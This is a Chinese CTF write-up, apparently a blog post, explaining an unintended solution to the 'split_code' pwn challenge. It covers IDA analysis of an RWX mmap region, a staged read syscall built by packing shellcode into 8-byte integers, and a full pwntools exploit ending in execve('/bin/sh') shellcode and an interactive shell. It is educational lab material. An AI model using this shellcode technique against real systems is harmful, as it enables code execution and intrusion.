split_code shellcode非预期题解

Ren的胡言乱语:

        好久不打ctf了,打算退役来着,老师发来的一个题,又让我回顾了下ctf的一些内容,让这个快退休的ctf老头又捡起了曾经与队友在CTF竞赛中驰骋的那把不好但又趁手的小破剑,彷佛又回到了那个对CTF充满热血与激情的时代,又回到了那个eeee凌晨一两点催我刷题的熟悉场面,又回到了s3canda和darry师傅一丝不苟切耐心教我做题的片段,又回到了与晓东师哥,昊天师哥,嘉铭,le,pl,小白,fmyyy,o3,g1ory,汤哥,mochu,f1ag,旺旺,达达,ch1e.....等等等等Light1ng大佬们带我打比赛的场景,带我拿下一张又一张的证书。

正文

这个题不是难题,我这个解法应该是一个非预期,思路稍微巧一点,写个小文章分享出去,希望给新入门的pwn选手一点灵感

题目的保护机制全开,并且是64位的程序

依然还是放到ida里分析

主函数

很简短的一个菜单题的格式,程序一开始调用了sub_1228函数,我们跟进查看

 

但是程序是这个样子的,不用怕,这里是ida在0x122A的地址没有反编译出来,我们只需要手动创建一个函数即可

首先找到0x122A的地方

 两个办法,一个是在0x122A的地方按P,另一个点击右键选择Create function 

 

 

 编译完成后就不再是红色的了,也可以看到创建了一个新的sub_122A的函数

这个函数其实只是一个初始化的函数,值得我们注意的是它调用了mmap函数,并且在0x1000大小的地方赋予了可读可写可执行的权限 

Add函数

 

这个函数是由我们在菜单中选择1去调用

程序在这里首先会询问我们input your code:,我们会通过sub_12E8函数写进v2中,也就是我们可读可写可执行的区域,这里如果没有逆向分析明白的话,其实可以动态调试看下,非常的简单,我们只需要在第14行这里打上断点,单步调试即可:

通过去看汇编代码分析可以知道,程序这里会去call sub_12E8函数,并且将返回值放入rax寄存器中,之后将rax寄存器中的内容传递给rbx寄存器所存放的地址中,也就是*v2 = sub_12E8();的操作,我们在0x13DC的位置打下断点

 而sub_12E8函数是将我们输入的内容通过atol函数转换成整数,限制我们只能输入0x18大小的内容

之后程序询问我们input comments for your code:,我们会在之前程序申请0x20堆的地方写入0x20量的内容,这里并不重要,因为exp基本没有用到这里

exec函数

程序去执行我们输入的code 

首先我在code处输入一些0x9090909090,也就是nop,去调试

 可以看到已经解析出来是nop,并且去执行nop,但是我们只能写0x8大小的指令,这是非常不够用的,并且我们只能申请5个这样的地方,还是挺不够用的

所以我的第一思路是:有一个能写很大空间的地方是当务之急

所以我这里需要构造一个read函数,写在这个可读可写可执行的0x7f45abd9a000里

那我们如何通过0x8大小的地方构造一个read函数呢?

read函数的调用需要用rdi,rsi,rdx,rax这四个寄存器

rdi : 文件描述符,这里需要它是一个诡计多端的0

rsi:read函数中第二个参数,也就要写入的地方,这里需要他是0x7f45abd9a000

rdx:read函数中第三个参数,这里需要它是一个很大的值,这里是我们要写入的量

rax:系统调用号,这里需要它是一个诡计多端的0

观察此时的寄存器,可以发现RDX寄存器中存放的是我们可读可写可执行的地址,RAX,RBX,RCX,R9,R14,R15是我们需要的那个 诡计多端的0 ,而RSI存放着一个很大的值0xffffffda(其实那些地址也可以当作是一个很大的值,但是我没有去试)

现在,所有的条件都可以满足,只需要在0x8大小的地方去让寄存器之间交换下值即可。

第一个code -> 0x08ebff3148d68748

xchg rsi, rdx
xor rdi, rdi
jmp $+10

第二个code -> 0x00000000e6ff050f

syscall 
jmp    rsi

之所以写两个code,很明显是因为0x8挤不下这么多,调试查看

我们可以看到,这里我们已经成功调用了read函数 

之后我的思路是,在0x7f53d47a7000写入一个shellcode,去jmp rsi调用shellcode即可,但是调试发现了一个问题,就是我在写入shellcode后,jmp rsi这个汇编指令被覆盖住了

也就是第二步的jmp rsi没有办法执行

所以这里我只能在写一个read,让rsi寄存器的值为0x7f53d47a700 + 0x100的空白区域

(这里可能有人会问,为什么已开始不直接让rsi去加0x100呢?这里大家可以去调试看下就会发现,0x100在底层不是简单的0x100,而是0x0000000000000100)会让好多个诡计多端的0 占位置,导致没办法写入完整的汇编指令。所以我这里只能在写一个read

最后exp

#!/usr/bin/env python
#coding=utf-8
#-RenCvn-

from pwn import *

ip = "tcp.dasc.buuoj.cn"
port = 21055
io = process('./split_code')
#io = remote(ip,port)
elf = ELF('split_code')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')



def choice(c):
	io.recvuntil(">>")
	io.sendline(str(c))

def add(index,content):
	choice(1)
	io.recvuntil(":")
	io.sendline(str(index))
	io.recvuntil(":")
	io.sendline(content)

def show():
	choice(2)

def execv(index):
	choice(3)
	io.recvuntil("?")
	io.sendline(str(index))



shellcode3 = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp 
pop rdi
xor esi, esi              
xor edx, edx              
push 0x3b
pop rax
syscall
'''
shellcode4 = '''
nop
nop
nop
xor rax, rax
add rsi, 0x100
syscall
jmp rsi
'''



add(0x08ebff3148d68748,'RenCvn')
add(0x00000000e6ff050f,'RenCvn')
add(0x382b24206c6c6163,'RenCvn')
add(0x382b24206c6c6163,'RenCvn')


show()


execv(0)

io.sendline(asm(shellcode4))
io.sendline(asm(shellcode3))

io.interactive()

 

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值